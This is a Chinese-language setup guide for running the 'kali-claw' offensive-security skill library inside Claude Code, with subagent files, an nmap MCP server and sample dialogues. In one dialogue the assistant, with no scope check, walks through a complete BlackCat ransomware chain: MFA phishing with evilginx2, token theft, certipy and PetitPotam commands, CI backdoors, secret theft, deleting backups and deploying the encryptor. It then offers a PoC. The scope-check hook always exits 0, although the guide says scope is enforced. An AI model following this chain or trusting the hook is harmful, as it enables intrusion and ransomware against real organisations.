### Skill Index (v0.2.4 — 139 domains)

**Web & API**: web-sqli, web-xss, web-ssrf, web-auth-bypass, web-access-control, web-xxe, web-deserialization, file-inclusion, cms-framework-attack, api-security, email-security-deep, browser-qa

**Network & Infra**: network-pentest, recon-osint, osint, network-sniffing-mitm, network-tunneling-proxy, dns-attacks, vpn-attack, sase-sse-attack, email-protocol-attack, voip-sip-attack

**Identity & Enterprise**: ad-ldap-attack, ad-cs-abuse, cloud-identity-attack, pam-privilege-attack, ci-cd-supply-chain-attack, cspm-casb-attack

**Cloud & Container**: cloud-security, container-security, kubernetes-attack, cloud-native-vuln-research, secret-management-attack

**Crypto & Emerging**: crypto-attacks, quantum-crypto-attack, blockchain-web3, llm-red-team, ai-security, ai-agent-security, agentic-pentest

**Mobile / IoT / Embedded**: mobile-security, mobile-app-instrumentation, iot-pentest, firmware-reverse, hardware-security, embedded-rtos-security, bluetooth-rfid-nfc

**Critical Infrastructure**: scada-ics-security, ics-fieldbus-attack, storage-san-attack, hypervisor-introspection, satellite-leo-security, sdr-rf-attack, hf-vhf-radio-attack, 5g-telecom-attack, automotive-vehicle-security, uav-drone-security, physical-security-testing, mainframe-security, game-anticheat-bypass

**Defense & Forensics**: digital-forensics, anti-forensics, threat-hunting, detection-engineering, deception-honeypot

**Meta & Orchestration**: pentest-reporting, article-writing, engagement-manager, security-review, repo-scan, security-bounty-hunter, codebase-onboarding, knowledge-ops, exa-search, deep-research, data-scraper-agent, autonomous-loops, multi-agent-collaboration, council

**Infrastructure Skills**: safety-guard, terminal-ops, search-first, verification-loop, docker-patterns, continuous-learning, chronicle, tool-mastery, mcp-server-patterns, password-attack, post-exploitation, privilege-escalation, exploit-development, payload-generation, av-edr-evasion, steganography, social-engineering, social-intelligence, username-profiling, darkweb-intel, binary-reverse, insecure-design, logging-monitoring, mobile-security, security-misconfiguration, supply-chain-security, vulnerability-assessment, wifi-pentest

When a security task is requested, automatically identify the relevant skill domain and read its SKILL.md first.

### Safety Boundaries
- Only test targets within explicitly authorized scope
- Use safety-guard principles from skills/safety-guard/SKILL.md
- Log all actions to memory/YYYY-MM-DD.md
- Never store credentials or tokens in memory files

    注意：是 追加到 CLAUDE.md，不要修改 skills/ 下任何文件。

    4.2 创建 Skills 目录（推荐方式，符合 Agent Skills 标准）

    Claude Code 2025 年起原生支持 Skills 目录，这是引用 kali-claw 技能最干净的方式——不需要把每个技能转成 agent 文件。

    两种思路对比：

    方式实现优点缺点
    Skills 目录（推荐）~/.claude/skills/<name>/SKILL.md 软链到 kali-claw 的 SKILL.mdClaude 自动扫描 frontmatter；无需 subagent 调度单技能独立工作，无编排
    Subagent 方式在 ~/.claude/agents/<name>.md 里写引用可定义工具权限和操作流程数量多了维护成本高

    实战建议：高频技能（10-20 个）建 Subagent，其他建 Skill 软链。

    操作 1：批量软链 Skills（一次性把 137 个技能挂到 Claude 全局）

    mkdir -p ~/.claude/skills
cd /path/to/kali-claw/skills

# 把每个技能域软链到 ~/.claude/skills/
for d in */; do
  name="${d%/}"
  ln -sf "$(pwd)/$name" "$HOME/.claude/skills/$name"
done

# 验证
ls -l ~/.claude/skills/ | head -10
# 应看到一堆 -> /path/to/kali-claw/skills/xxx 的软链

    软链的好处：kali-claw git pull 更新后，Claude 立即看到新内容，无需重新复制。

    操作 2：让 Claude 识别这些 Skills

    重启 Claude Code 后，会话内执行：

    > /skills

    应能看到约 137 个 Skills 列表。也可以直接调用：

    > 使用 web-sqli 技能帮我测试 http://testphp.vulnweb.com/listproducts.php?cat=1

Claude：[扫描到 ~/.claude/skills/web-sqli/SKILL.md，加载 frontmatter]
       [读取完整 SKILL.md，按方法论执行]

    4.3 创建自定义 Subagent（针对高频技能）

    把 5-10 个最常用的技能转成 Subagent，赋予它们调用工具的权限和清晰的操作流程。

    创建 subagents 目录：

    mkdir -p ~/.claude/agents

    示例：web-sqli 分析 subagent（~/.claude/agents/web-sqli-analyzer.md）：

    ---
name: web-sqli-analyzer
description: SQL injection vulnerability analysis and exploitation specialist. Covers Union/Blind/Time-based/Error-based/Double Query injection detection, exploitation, and defense recommendations. Use PROACTIVELY for any SQL injection task.
tools:
  - Bash
  - Read
  - Write
  - Grep
  - Glob
  - Skill
  - Task
---

You are a SQL injection security specialist embedded in the kali-claw penetration testing system.

## Knowledge Base

Always read these files for reference when handling SQL injection tasks:
- `skills/web-sqli/SKILL.md` — Complete methodology, tools, and attack chain
- `skills/web-sqli/payloads.md` — Payload collection organized by 10 injection types
- `skills/web-sqli/test-cases.md` — Structured test case templates (TC-S001 to TC-S012)
- `skills/web-sqli/guides/` — Deep-dive guides for advanced techniques

## Operating Procedure

1. **Read SKILL.md first** — Always load the methodology before starting any task
2. **Identify injection type** — Determine if the target shows echo, error, or blind behavior
3. **Follow the attack chain** — Detection -> Fingerprinting -> Exploitation -> Data Extraction
4. **Use structured payloads** — Pull from payloads.md, do not improvise payloads
5. **Document per test-cases.md** — Record findings using TC-SXXX format
6. **Provide defense recommendations** — Always include remediation advice

## Safety Rules

- Only test targets within explicitly authorized scope
- Confirm with the user before any destructive SQL operations (DROP, DELETE, UPDATE)
- Never exfiltrate real user data — use dummy data for proof-of-concept
- Log all findings to memory/YYYY-MM-DD.md

## Response Format

For each finding, include:
- Injection type and location
- Payload used
- Data accessible through this vulnerability
- CVSS severity estimate
- Remediation recommendation

## Tools Priority

1. **sqlmap** for automated detection and exploitation
2. **curl** for manual injection testing
3. **Burp Suite** guidance for complex scenarios (describe steps, user operates Burp)

    针对现代企业攻击面的 subagent 示例（v0.1.39 新技能）：

    # PAM 攻击 subagent
cat > ~/.claude/agents/pam-attacker.md << 'AGENT_EOF'
---
name: pam-attacker
description: PAM (Privileged Access Management) platform attack specialist. Covers CyberArk PVWA/PSM, BeyondTrust PRA, Delinea Secret Server, One Identity Safeguard, ManageEngine PMP, WALLIX Bastion, Devolutions DVLS, Xton Core. CVE-2025-32564, CVE-2022-2451, CVE-2022-28226, .cue cred file cracking.
tools:
  - Bash
  - Read
  - Grep
  - Glob
  - Skill
---

You are a PAM platform attack specialist. Read skills/pam-privilege-attack/SKILL.md for the 8-vendor methodology. Use payloads from skills/pam-privilege-attack/payloads.md. Map findings to MITRE ATT&CK T1552 (Unsecured Credentials). Always document per test-cases.md.
AGENT_EOF

# CI/CD 供应链 subagent
cat > ~/.claude/supply-chain-attacker.md << 'AGENT_EOF'
---
name: supply-chain-attacker
description: CI/CD and software supply chain attack specialist. Jenkins CVE-2024-23897, GitLab CI Runner, GitHub Actions pull_request_target trap, Argo CD CVE-2022-24348, xz-utils CVE-2024-3094 backdoor analysis, dependency confusion, SolarWinds SUNBURST, 3CX, Codecov.
tools:
  - Bash
  - Read
  - Grep
  - Glob
---

You are a CI/CD and software supply chain attack specialist. Read skills/ci-cd-supply-chain-attack/SKILL.md for methodology. Reference payloads from skills/ci-cd-supply-chain-attack/payloads.md. Map findings to MITRE T1195 (Supply Chain Compromise).
AGENT_EOF

    4.4 创建安全规则文件

    将 kali-claw 的安全准则转换为 Claude Code 规则：

    mkdir -p ~/.claude/rules

    创建 ~/.claude/rules/kali-claw-security.md：

    # kali-claw Security Rules

## Mandatory Safety Checks

Before ANY security testing command:
- [ ] Target is within explicitly authorized scope
- [ ] User has confirmed the target and test type
- [ ] Safety-guard skill principles have been reviewed
- [ ] No destructive commands without triple confirmation

## The 12 Hacker Laws (from SOUL.md)

1. **First Principles Thinking** — Break problems down to fundamental facts
2. **Divergent Thinking First** — Consider at least 3 solutions before acting
3. **Minimize Attack Surface** — Less exposure means less risk
4. **Defense in Depth** — Never rely on a single layer
5. **Least Privilege** — Grant only necessary access
6. **Assume Breach** — Design assuming attacker is already inside
7. **Obscurity Is Not Security** — Security from design, not hiding
8. **Trust but Verify** — Verify all inputs and outputs
9. **Information Wants to Be Free** — Share knowledge, protect sensitive data
10. **Skill Over Credentials** — Judge by capability
11. **The Weakest Link Is Human** — Always consider human factor
12. **Murphy's Security Law** — If it can be exploited, it will be

## Command Execution Rules

- Never use `rm` — use trash or move to bak/ directory
- Triple confirmation required for destructive operations
- Always log actions to memory/YYYY-MM-DD.md
- Never write sensitive data (API keys, tokens, passwords) to memory files
- Proactively redact sensitive information in responses

## File Operations

- Back up core files to bak/ directory before modification
- Never overwrite SOUL.md, USER.md, IDENTITY.md without user awareness
- Memory files are append-only — do not delete past entries

    4.5 配置记忆系统

    将 kali-claw 的记忆映射到 Claude Code 的记忆系统。

    两套记忆系统的对应关系：

    kali-claw 记忆Claude Code 记忆说明
    memory/YYYY-MM-DD.md~/.claude/projects/<hash>/memory/每日会话记录
    MEMORY.md（根目录）项目记忆文件长期精炼知识
    chronicle/YYYY-MM/*.md手动维护月度里程碑

    配置项目记忆：

    # 确定项目记忆路径（Claude Code 用项目路径的 MD5 哈希作为目录名）
ls ~/.claude/projects/

# Linux
PROJECT_MEMORY=~/.claude/projects/$(echo -n "/path/to/kali-claw" | md5sum | cut -d' ' -f1)/memory

# macOS（用 md5 而非 md5sum）
PROJECT_MEMORY=~/.claude/projects/$(echo -n "/path/to/kali-claw" | md5)/memory

mkdir -p "$PROJECT_MEMORY"

# 复制长期记忆
cp MEMORY.md "$PROJECT_MEMORY/long-term-knowledge.md"

# 复制近期每日记忆（可选）
cp memory/2026-06-*.md "$PROJECT_MEMORY/"

    记忆系统的使用：

    你：把这个 SQL 注入漏洞的发现记录到记忆中

Claude：[将发现追加写入 ~/.claude/projects/.../memory/2026-06-28.md]
      已记录。下次会话时我仍会记得这个发现。

    4.6 标准迁移后的目录结构

    kali-claw/                           <-- 项目根目录（git 跟踪）
├── CLAUDE.md                        <-- 追加 Security Agent Mode（修改）
├── SOUL.md / IDENTITY.md / ...      <-- 全部保持原样
├── .claude/
│   └── settings.json                <-- 项目级权限配置（新增）
├── skills/                          <-- 137 个技能域（不变）
├── validation/                      <-- 评分 + 编排脚本（不变）
├── memory/ / chronicle/             <-- 记忆文件（不变）
└── ...

~/.claude/                           <-- 用户级配置
├── settings.json                    <-- API Key、模型、权限（首次创建）
├── agents/                          <-- Subagents（新增 5-10 个高频技能）
│   ├── web-sqli-analyzer.md
│   ├── pam-attacker.md
│   └── supply-chain-attacker.md
├── skills/                          <-- Skills 软链（一次性 137 个）
│   ├── web-sqli -> /path/kali-claw/skills/web-sqli
│   ├── pam-privilege-attack -> ...
│   └── ... (137 个软链)
├── rules/
│   └── kali-claw-security.md        <-- 安全规则
├── projects/
│   └── <hash>/
│       └── memory/                  <-- Claude Code 项目记忆
└── credentials.json                 <-- OAuth token（自动生成）

    五、方式三：完整迁移（2-3 小时）

    5.1 MCP 服务器集成（让 Claude 直接调用 Kali 工具）

    通过 MCP 服务器，让 Claude Code 直接调用 Kali 安全工具，而不需要手动 Bash 命令。

    安装 MCP SDK：

    pip install mcp
# 或 uv（更快）
uv pip install mcp

    完整的 nmap MCP 服务器（~/kali-mcp-servers/nmap_server.py）：

    #!/usr/bin/env python3
"""nmap MCP Server — Wraps nmap as an MCP tool for Claude Code."""

import subprocess
import json
import sys
from mcp.server import Server
from mcp.types import Tool, TextContent

server = Server("kali-nmap")

@server.list_tools()
async def list_tools():
    return [
        Tool(
            name="nmap_scan",
            description="Run nmap network scan. Supports common scan types.",
            inputSchema={
                "type": "object",
                "properties": {
                    "target": {
                        "type": "string",
                        "description": "Target IP, hostname, or CIDR (e.g., 192.168.1.1 or 192.168.1.0/24)"
                    },
                    "ports": {
                        "type": "string",
                        "description": "Port range (default: 1-1000)",
                        "default": "1-1000"
                    },
                    "scan_type": {
                        "type": "string",
                        "description": "-sV (version), -sC (scripts), -O (OS), -A (aggressive)",
                        "default": "-sV"
                    },
                    "extra_args": {
                        "type": "string",
                        "description": "Additional nmap arguments",
                        "default": ""
                    }
                },
                "required": ["target"]
            }
        ),
        Tool(
            name="nmap_vuln_scan",
            description="Run nmap vulnerability scan using NSE vuln scripts.",
            inputSchema={
                "type": "object",
                "properties": {
                    "target": {"type": "string", "description": "Target"}
                },
                "required": ["target"]
            }
        )
    ]

def validate_target(target: str) -> bool:
    if not target or len(target) > 256:
        return False
    blocked = set(";|&`$(){}[]<>!#~")
    return not any(c in blocked for c in target)

def run_nmap(args: list[str], timeout: int = 300) -> str:
    try:
        result = subprocess.run(
            ["nmap"] + args,
            capture_output=True, text=True, timeout=timeout
        )
        return result.stdout + result.stderr
    except subprocess.TimeoutExpired:
        return "Error: nmap scan timed out after 300 seconds"
    except FileNotFoundError:
        return "Error: nmap not found. Install: sudo apt install nmap"

@server.call_tool()
async def call_tool(name: str, arguments: dict):
    if name == "nmap_scan":
        target = arguments["target"]
        if not validate_target(target):
            return [TextContent(type="text", text="Error: Invalid target")]
        ports = arguments.get("ports", "1-1000")
        scan_type = arguments.get("scan_type", "-sV")
        extra = arguments.get("extra_args", "")
        args = scan_type.split() + ["-p", ports]
        if extra:
            args += extra.split()
        args.append(target)
        return [TextContent(type="text", text=run_nmap(args))]

    elif name == "nmap_vuln_scan":
        target = arguments["target"]
        if not validate_target(target):
            return [TextContent(type="text", text="Error: Invalid target")]
        return [TextContent(type="text", text=run_nmap(["--script", "vuln", target], timeout=600))]

    return [TextContent(type="text", text=f"Unknown tool: {name}")]

if __name__ == "__main__":
    import asyncio
    asyncio.run(server.run())

    配置 MCP 服务器（项目根目录 .mcp.json）：

    {
  "mcpServers": {
    "kali-nmap": {
      "command": "python3",
      "args": ["/Users/YOUR_USERNAME/kali-mcp-servers/nmap_server.py"]
    },
    "kali-sqlmap": {
      "command": "python3",
      "args": ["/Users/YOUR_USERNAME/kali-mcp-servers/sqlmap_server.py"]
    }
  }
}

    sqlmap MCP 服务器结构类似，限于篇幅不再贴完整代码，参考 nmap 模板实现 sqlmap_detect 和 sqlmap_dbs 两个工具即可。

    远程 Kali 的 MCP 配置（通过 SSH 调用远程 Kali 工具）：

    {
  "mcpServers": {
    "kali-nmap-remote": {
      "command": "python3",
      "args": ["~/kali-mcp-servers/remote_nmap_server.py"],
      "env": {
        "KALI_HOST": "user@192.168.1.100",
        "KALI_SSH_KEY": "~/.ssh/id_ed25519"
      }
    }
  }
}

    远程 MCP 服务器在执行 nmap 时通过 SSH 调用：

    # remote_nmap_server.py 关键修改
import os
KALI_HOST = os.environ.get("KALI_HOST", "user@kali-host")
SSH_KEY = os.environ.get("KALI_SSH_KEY", "~/.ssh/id_ed25519")

def run_nmap_remote(args: list[str], timeout: int = 300) -> str:
    ssh_cmd = ["ssh", "-i", SSH_KEY, KALI_HOST, "nmap"] + args
    result = subprocess.run(ssh_cmd, capture_output=True, text=True, timeout=timeout)
    return result.stdout + result.stderr

    5.2 Hooks 自动化（实现 HEARTBEAT 部分）

    范围检查 Hook（PreToolUse）— 在执行 Bash 命令前自动检查目标是否在授权范围内。

    创建 ~/kali-hooks/check-scope.sh：

    #!/bin/bash
# Check whether Bash commands are within authorized scope
# Called by Claude Code PreToolUse Hook

INPUT=$(cat)
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty')

# Read authorized scope file
SCOPE_FILE=".scope"
if [ ! -f "$SCOPE_FILE" ]; then
    exit 0  # No scope file means no restrictions
fi

# Log execution
echo "[$(date)] Command: $COMMAND" >> .claude-execution.log

# Check if any unauthorized target is referenced
AUTHORIZED_TARGETS=$(grep -v '^#' "$SCOPE_FILE" | grep -v '^$' | tr '\n' '|')
AUTHORIZED_TARGETS="${AUTHORIZED_TARGETS%|}"

# If command contains an IP/hostname not in scope, block it
# (Implementation omitted for brevity — full version uses regex matching)

exit 0

    项目级 .scope 文件（kali-claw 项目根目录）：

    # Authorized Test Targets
# One target per line, # is comment
192.168.1.0/24
testphp.vulnweb.com
*.example.com

    在 ~/.claude/settings.json 中配置 Hooks：

    {
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "bash ~/kali-hooks/check-scope.sh"
          }
        ]
      }
    ],
    "Stop": [
      {
        "hooks": [
          {
            "type": "command",
            "command": "echo \"[$(date)] Session ended\" >> memory/session-log.md"
          }
        ]
      }
    ]
  }
}

    5.3 接入 kali-claw 验证/编排脚本（v0.1.39 新增能力）

    kali-claw 的 validation/ 目录提供 10+ 个 Bash 脚本，通过 Claude Code 的 Bash 工具可以直接调用——这是 kali-claw + Claude Code 协作的杀手级特性：

    你：用 orchestrator 跑一个完整的渗透流程，目标 10.10.10.10

Claude：[Bash 工具调用]
       bash validation/orchestrator.sh --target 10.10.10.10 --phase full

       [读取输出]
       阶段 1: recon-osint 完成，发现 3 个子域名
       阶段 2: nmap 扫描完成，发现 22/80/443 开放
       阶段 3: ...

       是否继续后渗透阶段？

    你：给 web-sqli 跑个分

Claude：[Bash]
       bash validation/SCORE.sh --skill web-sqli

       [结果]
       web-sqli 总分：92.0
       - skill_md: 88
       - payloads_md: 95
       - test_cases_md: 92
       - guides: 92

       分析：payloads 是最强项，skill_md 略弱（缺少 ## Defense Perspective 段落）。
       建议：在 SKILL.md 末尾补一段 Defense Perspective 可冲 94+。

    你：检查工作空间健康

Claude：[Bash]
       bash validation/heartbeat.sh --json

       [解析 JSON]
       状态: HEARTBEAT_OK
       - 核心文件完整 ✓
       - skills/ 目录 137 个 ✓
       - memory/ 最近 7 天有日志 ✓
       - 备份时效 < 24h ✓

       一切正常。

    5.4 完整迁移后的项目结构

    kali-claw/                           <-- 项目根目录
├── CLAUDE.md                        <-- 项目指令（追加 Security Agent Mode）
├── .claude/
│   ├── settings.json                <-- 项目级配置
│   └── settings.local.json          <-- 本地覆盖（git ignored）
├── .mcp.json                        <-- MCP 服务器配置（新增）
├── .scope                           <-- 授权范围文件（新增）
├── SOUL.md / IDENTITY.md / ...      <-- 不变
├── skills/                          <-- 137 个技能域（不变）
├── validation/                      <-- 评分 + 编排脚本（不变）
├── memory/ / chronicle/ / docs/     <-- 不变
└── bak/

~/.claude/
├── settings.json                    <-- 用户级配置（API Key、模型、权限、Hooks）
├── credentials.json                 <-- OAuth token（自动）
├── agents/                          <-- Subagents
│   ├── web-sqli-analyzer.md
│   ├── network-scanner.md
│   ├── security-auditor.md
│   ├── pam-attacker.md
│   ├── supply-chain-attacker.md
│   └── ...
├── skills/                          <-- Skills 软链（137 个技能域）
│   ├── web-sqli -> /path/kali-claw/skills/web-sqli
│   └── ...
├── rules/
│   └── kali-claw-security.md
├── projects/
│   └── <hash>/
│       └── memory/
└── ...

~/kali-mcp-servers/                  <-- MCP 服务器（新增）
├── nmap_server.py
├── sqlmap_server.py
└── remote_nmap_server.py

~/kali-hooks/                        <-- Hook 脚本（新增）
└── check-scope.sh

    关键观察：skills/ 目录和所有内部文件保持完全不变。Claude Code 在原位置读取它们。改动仅限于：追加 CLAUDE.md、创建 skills/ 之外的新文件（agents、rules、MCP servers、hooks）、在项目根目录创建 .mcp.json 和 .scope。

    六、kali-claw + Claude Code 详细协作指南

    本节是 v0.1.39 新增的核心章节。回答一个关键问题：日常用 kali-claw + Claude Code 时，到底怎么用？

    6.1 七大协作模式速查

    模式场景耗时涉及技能
    A. 快速 TTP 查询"XX 漏洞的载荷是啥"5-30 秒1 个技能的 payloads.md
    B. 单技能实战"测一下这个 URL 有没有 SQL 注入"5-15 分钟1 个攻击技能 + terminal-ops
    C. 多技能攻击链"推演一下 BlackCat 勒索链"30 分钟-2 小时5-8 个攻击技能串行
    D. 完整授权渗透"对这个目标做完整渗透，出报告"2-4 小时engagement-manager + 5-10 个攻击技能 + pentest-reporting
    E. 学习/训练"我想学 AD CS 攻击"持续deep-research + 目标技能 + verification-loop
    F. 跨工具验证"用多种方法验证这个发现"15-30 分钟verification-loop + 2-3 个独立技能
    G. 调试/复盘"为什么这个载荷没生效？"5-30 分钟目标技能 + search-first + codebase-onboarding

    6.2 模式 A：快速 TTP 查询（最常用）

    典型对话：

    你：@skills/ad-cs-abuse/payloads.md ESC1 的攻击载荷是什么？

Claude：[加载 payloads.md]
      ESC1（Client Authentication + Enrollee Supplies Subject + SAN）攻击载荷：

      1. 用 certipy 找 ESC1 漏洞证书：
         certipy find -u user@domain.local -p Pass -dc-ip DC01

      2. 利用 ESC1 申请证书（冒充 administrator）：
         certipy req -u user@domain.local -p Pass -ca 'domain-CA'
            -template 'VulnTemplate' -upn administrator@domain.local

      3. 用证书申请 TGT：
         certipy auth -pfx administrator.pfx -dc-ip DC01

      4. 完成：现在你是 administrator 了。

    为什么用 @ 引用而不是"读 xxx"：@ 是 Claude Code 的原生文件引用语法，会自动展开为 Read 工具调用，比自然语言更可靠、更省 token。

    6.3 模式 B：单技能实战

    典型对话（5-15 分钟完整流程）：

    你：测一下 http://testphp.vulnweb.com/listproducts.php?cat=1 有没有 SQL 注入

Claude：[自动匹配 web-sqli-analyzer subagent]
       [加载 skills/web-sqli/SKILL.md 方法论]

       我会按 kali-claw 的 SQL 注入方法论执行 5 步检测：

       Step 1: 入口探测（单引号触发）
       [Bash] curl -s -o /dev/null -w "%{http_code}\n" \
               "http://testphp.vulnweb.com/listproducts.php?cat=1"
       [Bash] curl -s -o /dev/null -w "%{http_code}\n" \
               "http://testphp.vulnweb.com/listproducts.php?cat=1'"
       → 200 vs 200（错误被吞了，需要其他方法）

       Step 2: 布尔对比
       [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1' AND '1'='1" | wc -l
       [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1' AND '1'='2" | wc -l
       → 247 vs 14 行（差异显著，确认布尔盲注）

       Step 3: sqlmap 自动化确认
       [Bash] sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
                --batch --level=3 --risk=2 --dbs
       → 确认 MySQL >= 5.6，4 个数据库

       ✓ SQL 注入确认（字符型、单引号闭合、Boolean-blind）
       CVSS 估算：9.8（Critical）
       修复建议：使用 PDO 预处理语句替换字符串拼接

       是否继续数据提取？

    协作要点：

    • Claude 自动加载 subagent → 不需要你指定"用哪个技能"
    • 每一步都有 Bash 工具的实际执行，不是纸上谈兵
    • 自动按 test-cases.md 格式记录，写入 memory/2026-06-28.md
    • 末尾给出 CVSS + 修复建议，符合 article-writing 技能的报告格式

    6.4 模式 C：多技能攻击链（v0.1.39 杀手级场景）

    典型对话（30 分钟-2 小时，覆盖 5-8 个技能）：

    你：用 kali-claw 推演一下 BlackCat 勒索从初始访问到加密部署的完整链

Claude：[加载 engagement-manager + council 技能进行多技能编排]

       基于 Mandiant 2023 + CrowdStrike 2024 报告，BlackCat 典型路径：

       ╔══════════════════════════════════════════════════════════╗
       ║ 阶段 1：初始访问（sase-sse-attack + email-security-deep）  ║
       ╚══════════════════════════════════════════════════════════╝
       @skills/sase-sse-attack/payloads.md Zscaler ZIA 绕过技术...
       @skills/email-security-deep/payloads.md AiTM 钓鱼（evilginx2）...

       具体载荷（来自 payloads.md）：
       - 用 evilginx2 反向代理窃取 MFA：
         evilginx2 -p custom_proxy
         # 配置 phishing_hostname 和 target domain
       - 利用 Cobalt Strike 通过 Zscaler ZIA 出口（绕 SSL 检查）

       ╔══════════════════════════════════════════════════════════╗
       ║ 阶段 2：身份渗透（cloud-identity-attack）                  ║
       ╚══════════════════════════════════════════════════════════╝
       @skills/cloud-identity-attack/payloads.md Entra ID PRT 盗窃...

       - 用 ROADtools 拿 Primary Refresh Token：
         roadrecon auth -u compromised@contoso.com -p Pass
         roadrecon gather
       - 绕过 Conditional Access 的 7 种姿势（来自 SKILL.md）

       ╔══════════════════════════════════════════════════════════╗
       ║ 阶段 3：凭据中枢（pam-privilege-attack）                  ║
       ╚══════════════════════════════════════════════════════════╝
       @skills/pam-privilege-attack/payloads.md CyberArk PVWA 攻击...

       - CVE-2025-32564（PVWA 认证绕过）：
         # 利用细节参考 skills/pam-privilege-attack/guides/cyberark.md
       - .cue cred file 破解：
         python3 cyberark_cue_decrypt.py vault.cue
       - 一旦拿到 Vault Admin：导出所有 safes → 所有域管理员密码

       ╔══════════════════════════════════════════════════════════╗
       ║ 阶段 4：横向移动（ad-cs-abuse + ad-ldap-attack）          ║
       ╚══════════════════════════════════════════════════════════╝
       @skills/ad-cs-abuse/payloads.md ESC1 + PetitPotam...
       @skills/ad-ldap-attack/payloads.md Kerberoasting + DCSync...

       - PetitPotam + NTLM Relay → AD CS：
         python3 PetitPotam.py -u user -p Pass attacker DC01$
       - ESC1 滥用：certipy req -template VulnTemplate -upn administrator
       - Pass-the-Hash + Kerberoasting：横扫所有 DC

       ╔══════════════════════════════════════════════════════════╗
       ║ 阶段 5：防御规避（cspm-casb-attack）                      ║
       ╚══════════════════════════════════════════════════════════╝
       @skills/cspm-casb-attack/payloads.md Wiz 图谱注入...

       - 篡改 Terraform state 让 Wiz 看不到真实配置
       - OPA Rego 大小写陷阱绕过 Kyverno 策略

       ╔══════════════════════════════════════════════════════════╗
       ║ 阶段 6：持久化（ci-cd-supply-chain-attack）              ║
       ╚══════════════════════════════════════════════════════════╝
       @skills/ci-cd-supply-chain-attack/payloads.md ...

       - 在 Jenkins shared library 植入后门
       - 修改 GitHub Actions workflow 窃取 secrets
       - 用依赖混淆植入恶意 npm 包

       ╔══════════════════════════════════════════════════════════╗
       ║ 阶段 7：数据外发 + 加密部署（storage-san-attack）        ║
       ╚══════════════════════════════════════════════════════════╝
       @skills/storage-san-attack/payloads.md NetApp NDMP...

       - NetApp NDMP 快照窃取
       - 用窃取的凭据登录 Dell EMC Unity 删除备份
       - 部署 BlackCat 加密器

       ══════════════════════════════════════════════════════════
       总结：7 阶段 / 7 技能 / MITRE ATT&CK 映射：
       T1566 (Phishing) → T1078 (Valid Accounts) → T1552 (Credentials)
       → T1550 (Alternate Auth Material) → T1562 (Impair Defenses)
       → T1505 (Server Software Component) → T1486 (Data Encrypted)

       是否要我针对某一阶段深入演示 PoC？

    协作要点：

    • Claude 用 @ 自动加载 7 个技能的 payloads.md，不是凭记忆说
    • 每阶段给出具体命令（从真实 payloads.md 提取）
    • 自动映射 MITRE ATT&CK（这是 kali-claw SKILL.md frontmatter 的 metadata.mitre 字段）
    • 这是 kali-claw v0.2.1 的核心价值：把 7 个独立技能编成连贯攻击链

    6.5 模式 D：完整授权渗透（最高强度协作）

    典型对话（2-4 小时）：

    你：授权范围见 .scope 文件。目标 10.10.10.10。做完整黑盒渗透，最后出报告。

Claude：[加载 engagement-manager subagent]
       [读取 .scope]
       [加载 safety-guard skill]

       确认授权范围：
       - 目标：10.10.10.10（in scope）
       - 时间窗口：2026-06-28 09:00 - 18:00
       - 测试类型：黑盒，无凭据
       - 排除：DoS、社工、物理入侵

       我会按 PTES + OWASP 流程执行：

       ═══ 阶段 1：侦察（30 分钟） ═══
       [加载 recon-osint + osint + deep-research]
       [Bash] bash validation/orchestrator.sh --target 10.10.10.10 --phase recon

       ... (执行中，每步征求确认)

       ═══ 阶段 2：扫描（30 分钟） ═══
       [加载 network-pentest]
       [Bash] nmap -sV -sC -p- 10.10.10.10
       [MCP] kali-nmap nmap_scan target=10.10.10.10 scan_type=-A ports=1-65535

       ...

       ═══ 阶段 3：漏洞利用（1 小时） ═══
       发现 22 (SSH)、80 (HTTP)、443 (HTTPS)、8080 (Jenkins)
       [加载 ci-cd-supply-chain-attack]
       [Bash] curl -s http://10.10.10.10:8080/jenkins/
       → Jenkins 2.441（CVE-2024-23897 args4j 任意文件读取）

       ... (利用链展开)

       ═══ 阶段 4：后渗透（30 分钟） ═══
       [加载 post-exploitation + privilege-escalation]
       ...

       ═══ 阶段 5：报告生成（30 分钟） ═══
       [加载 pentest-reporting + article-writing]
       [Bash] bash validation/report-generator.sh \
                --source memory/2026-06-28.md \
                --format markdown \
                --output reports/2026-06-28-10.10.10.10.md

       报告已生成：reports/2026-06-28-10.10.10.10.md（共 12 页）
       - 执行摘要：3 高危、2 中危、4 低危
       - 攻击链可视化：5 条独立路径，最长 6 步到 Domain Admin
       - 修复优先级：先打 CVE-2024-23897 补丁（Critical）

       同步记录到 chronicle/2026-06/28-10.10.10.10.md。

    协作要点：

    • engagement-manager 是顶层协调器，按 PTES 流程触发其他技能
    • safety-guard 在每次工具调用前检查 .scope
    • validation/orchestrator.sh 是 Bash 落地——把编排脚本和 Claude 智能结合
    • 报告自动写入 reports/ 和 chronicle/

    6.6 模式 E：学习/训练

    你：我想学 AD CS 攻击，从入门到实战

Claude：[加载 deep-research + ad-cs-abuse]
       [读取 skills/ad-cs-abuse/SKILL.md + guides/]

       基于 kali-claw 的 ad-cs-abuse 技能，给你定一个 5 天学习计划：

       Day 1：理论基础
       - 读 skills/ad-cs-abuse/SKILL.md（理解证书模板、CA 类型）
       - 读 guides/cert-templates-deep-dive.md
       - 关键概念：ENROLLEE_SUPPLIES_SUBJECT、CLIENT_AUTHENTICATION、SAN

       Day 2：ESC1-ESC4（配置错误类）
       - 用 certipy 在 lab 找漏洞证书模板
       - 实战：certipy find -u user@lab.local -p Pass -dc-ip DC01 -vulnerable

       Day 3：ESC5-ESC8（更深层的错误）
       - NTLM Relay to AD CS HTTP Endpoints（ESC8）
       - PetitPotam + NTLM Relay 链

       Day 4：CVE 复盘
       - Certifried (CVE-2022-26923)：用 certipy 完整复现
       - PKINIT 故障排查

       Day 5：检测与防御
       - 读 SKILL.md 的 Defense Perspective 段落
       - 部署 10 条 KQL/SPL/Sigma 检测规则（来自 guides/detection-rules.md）

       实验环境建议：
       docker run -d -p 389:389 --name lab-dc lab.local/dc:latest
       # 或者用 GOAD（Game Of Active Directory）项目

       是否要我先帮你搭建 lab？

    6.7 模式 F：跨工具验证（verification-loop）

    你：我刚才用 sqlmap 发现了 SQL 注入，但客户说没复现。帮我独立验证一下。

Claude：[加载 verification-loop skill]
       [读取 skills/verification-loop/SKILL.md 4 阶段流程]

       独立验证流程：

       Verification 1：手动 curl（不依赖 sqlmap）
